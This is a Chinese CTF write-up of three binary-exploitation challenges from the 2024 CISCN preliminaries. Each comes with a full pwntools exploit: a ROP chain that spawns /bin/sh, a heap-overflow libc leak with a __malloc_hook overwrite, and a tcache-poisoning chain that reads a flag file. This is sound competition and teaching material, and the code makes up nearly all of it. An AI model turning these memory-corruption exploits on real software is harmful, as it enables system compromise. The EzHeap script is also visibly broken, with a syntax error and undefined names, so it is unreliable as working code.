2024CISCN初赛PWN


题目:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/CISCN%E5%88%9D%E8%B5%9B/PWN

gostack

其实func2就是后门,输入很长的内容会提示unexpected return,根据返回地址判断填充长度为0x1d0,但是填充内容只能是\x00,所以本题可以填充后直接返回到func2,比赛的时候想到的是rop链,但是直接写入很长的rop链内容会被改变,所以需要一次读到bss段再迁移到bss

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('8.147.133.9', 15152)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

syscall = 0x0000000000404043
pop_rdi_r14_r13_r12_rbp_rbx_ret = 0x00000000004a18a5
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
pop_rax_ret = 0x000000000040f984
leave_ret = 0x00000000004A0BCF
bss = 0x579600
pop_rbp_ret = 0x4023ed

p1 = b'\x00' * 0x1d0
p1 += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(0) * 6
p1 += p64(pop_rsi_ret) + p64(bss)
p1 += p64(pop_rdx_ret) + p64(0x100)
p1 += p64(pop_rbp_ret) + p64(bss)
p1 += p64(pop_rax_ret) + p64(0)
p1 += p64(syscall) + p64(leave_ret)
r.sendlineafter(b'message', p1)

p2 = b'/bin/sh\x00'
p2 += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(bss) + p64(0) * 5
p2 += p64(pop_rsi_ret) + p64(0)
p2 += p64(pop_rdx_ret) + p64(0)
p2 += p64(pop_rax_ret) + p64(59)
p2 += p64(syscall)
r.sendline(p2)

r.interactive()

orange_cat_diary

堆溢出改掉top chunk size,申请的堆块大小大于top chunktop chunk就会被链入unsorted bin并且重新映射新的top chunk,继续申请小的堆块就能切割被链入unsorted bin的前top chunk得到libc地址

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('8.147.133.76', 30239)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(length, content):
    r.sendlineafter(b'choice', b'1')
    r.sendlineafter(b'length', str(length))
    r.sendafter(b'content', content)

def show():
    r.sendlineafter(b'choice', b'2')

def delete():
    r.sendlineafter(b'choice', b'3')

def edit(length, content):
    r.sendlineafter(b'choice', b'4')
    r.sendlineafter(b'length', str(length))
    r.sendafter(b'content', content)

def name(name):
    r.sendafter(b'name.', name)

libc = ELF('./2.23/libc-2.23.so')

r.sendafter(b'name.', b'a')

add(0x68, b'a')
edit(0x70, b'a' * 0x68 + p64(0xf91))

add(0x1000, b'a')
add(0x18, b'a' * 0x8)

show()
r.recvuntil(b'a' * 0x8)
libc_base = u64(r.recvuntil(b'\x00')[:-1][-6:].ljust(8, b'\x00')) - 0x3c5188
ogg = libc_base + 0xf03a4
malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0x68, b'a')
delete()

edit(0x10, p64(malloc_hook - 0x23))
add(0x68, b'a')
add(0x68, b'a' * 0x13 + p64(ogg))

r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'length', str(0x10))

r.interactive()

EzHeap

2.35开了沙箱的堆

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('8.147.132.179', 37299)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendlineafter(b'choice', b'1')
    r.sendlineafter(b'size', str(size))
    r.sendafter(b'content', content)

def edit(index, size, content):
    r.sendlineafter(b'choice', b'3')
    r.sendlineafter(b'idx', str(index))
    r.sendlineafter(b'size', str(size)))
    r.sendafter(b'content', content)

def show(index):
    r.sendlineafter(b'choice', b'4')
    r.sendlineafter(b'idx', str(index))

def delete(index):
    r.sendlineafter(b'choice', b'2')
    r.sendlineafter(b'idx', str(index))

add(0x1f8, b'a')
add(0x4f0, b'a')
add(0x1f8, b'a')
delete(1)
edit(0, 0x200, b'a' * 0x200)

show(0)
r.recvuntil('a'*0x200)
libc_base = u64(r.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
libc = ELF('./libc.so.6')

edit(0, 0x240, b'a' * 0x1f8 + p64(0x501))
add(0x4f0, b'a')
edit(0, 0x340, b'a' * 0x1f8 + p64(0x101) + b'\x00' * 0xf8 + p64(0x401))
delete(1)
edit(0, 0x200, b'a' * 0x200)

show(0)
r.recvuntil(b'a' * 0x200)
heap_base = u64(r.recv(5)[-6:].ljust(8, b'\x00')) << 12

add(0xf0, b'a')
edit(0, 0x240, b'a' * 0x1f8 + p64(0x21) + p64(0) + b'\x00' * 0x10 + p64(0x4e1))
add(0x10, b'a')
delete(1)
edit(0, 0x240, b'a' * 0x1f8 + p64(0x21) + p64((heap_base >> 12) ^ (libc.sym['environ'] - 0x10)) + b'\x00' * 0x10 + p64(0x4e1))
add(0x10, b'a')
add(0x10, b'a' * 0x10)

show(4)
stack_addr = u64(r.recvuntil(b'\x7f')[-6:] + b'\x00\x00') - (0x758 - 0x5f0)

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret_r12 = libc_base + 0x000000000011f497
syscall_ret = libc_base + 0x0000000000091396

pay = b'./flag\x00\x00'
pay += p64(pop_rdi_ret) + p64(stack_addr - 0x10)
pay += p64(pop_rsi_ret) + p64(0)
pay += p64(pop_rax_ret) + p64(2)
pay += p64(syscall_ret)
pay += p64(pop_rax_ret) + p64(0)
pay += p64(pop_rdi_ret) + p64(3)
pay += p64(pop_rdx_ret) + p64(0x30) * 2
pay += p64(pop_rsi_ret) + p64(stack_addr - 0x300)
pay += p64(syscall_ret)
pay += p64(pop_rax_ret) + p64(1)
pay += p64(pop_rdi_ret) + p64(1)
pay += p64(pop_rsi_ret) + p64(stack_addr - 0x300)
pay += p64(syscall_ret)

edit(0, 0x440, b'a' * 0x1f8 + p64(0x201) + p64(0) + b'\x00' * 0x1f0 + p64(0x301))

delete(2)
delete(1)

edit(0, 0x440, b'a' * 0x1f8 + p64(0x201) + p64((heap_base >> 12) ^ (stack_addr - 0x10)) + b'\x00' * 0x1f0 + p64(0x301))

add(0x1f0, b'a')
add(0x1f0, pay)

r.interactive()

  目录